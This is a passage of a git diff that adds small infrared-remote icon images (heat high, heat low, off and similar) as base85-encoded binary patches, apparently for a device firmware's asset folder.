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 literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/HeatHi_hvr_25x27.png b/assets/icons/Infrared/HeatHi_hvr_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..b92108d68de2ab09bed6b451e36396881e5611ea GIT binary patch literal 3661 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 T-|@M}j{(?QJ7Y`Hry~9hE1FGt literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/HeatLo_25x27.png b/assets/icons/Infrared/HeatLo_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..af2e59d4940aefa657c280acb8073800408dabba GIT binary patch literal 3670 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 O0dr$(Y#G`u;{O0;Ay2me literal 0 HcmV?d00001 diff --git a/assets/icons/Infrared/Off_25x27.png b/assets/icons/Infrared/Off_25x27.png new file mode 100644 index 0000000000000000000000000000000000000000..c15100606ac9b2c46fec8d5ed290d72345fb22e2 GIT binary patch literal 9530 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 